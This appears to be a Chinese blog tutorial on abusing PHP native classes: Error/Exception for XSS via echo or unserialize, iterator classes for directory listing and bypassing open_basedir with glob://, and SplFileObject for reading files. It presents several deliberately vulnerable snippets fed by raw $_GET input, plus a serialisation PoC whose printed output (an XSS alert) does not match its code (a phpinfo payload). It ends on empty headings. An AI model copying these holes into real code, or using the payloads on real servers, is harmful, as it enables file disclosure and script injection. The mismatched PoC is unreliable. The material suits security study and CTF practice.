php原生类及其利用

本文最后更新于：10 个月前

PHP原生类

异常原生类

error:(PHP7,8)

Exception:(PHP5,7,8)

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<?php
highlight_file(__FILE__);

if($_GET['dir']){
    $dir = $_GET['dir'];

    $a = new Error($dir);

    echo $a;
}

那，既然这样，那我有个大胆的想法。。

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<?php
highlight_file(__FILE__);

if($_GET['dir']){
    $dir = $_GET['dir'];
    $class = $_GET['class'];

    $a = new $class($dir);

    echo $a;
}

当然通常环境下，开发者通常也不会在程序内留下可控的创建新类对象，可能会有以下的情况：

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<?php
highlight_file(__FILE__);

if($_GET['dir']){
    $dir = $_GET['dir'];
    $a = unserialize($dir);
    echo $a;
}

这时候我们编写poc：

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<?php
$a = new Error("<?php phpinfo();?>");
$b = serialize($a);
echo urlencode($b);
//输出：
/*O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A36%3A%22C%3A%5CUsers%5Clinfe%5CDesktop%5Cclass%5Cser.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D*/

原生类读取目录：

DirectoryIterator:(PHP5,7,8)

读取目录下单个文件(目录)名，若需要全部打印出来要循环

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<?php
highlight_file(__FILE__);

if($_GET['dir']){
    $dir = $_GET['dir'];

    $a = new FilesystemIterator($dir);

    foreach($a as $f){
        echo($f->__toString().'<br>');
    }
}

FilesystemIterator:(PHP 5>=5.3,7,8,DirectoryIterator的子类)

DirectoryIterator和FilesystemIterator均有一个__toString()方法，将获取的结果转为字符串

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<?php
highlight_file(__FILE__);

if($_GET['dir']){
    $dir = $_GET['dir'];

    $a = new DirectoryIterator($dir);

    foreach($a as $f){
        echo($f->__toString().'<br>');
    }
}

结合glob://伪协议可绕过open_basedir的限制：

GlobIterator:(PHP 5>=5.3,7,8)

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<?php
highlight_file(__FILE__);

if($_GET['dir']){
    $dir = $_GET['dir'];

    $a = new GlobIterator($dir);

    foreach($a as $f){
        echo($f->__toString().'<br>');
    }
}

读取文件：

SplFileObject:

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<?php
highlight_file(__FILE__);

if($_GET['dir']){
    $dir = $_GET['dir'];

    $a = new SplFileObject($dir);

    foreach($a as $f){
        echo($f);
    }
}

SoapClient:

ReflectionMethod: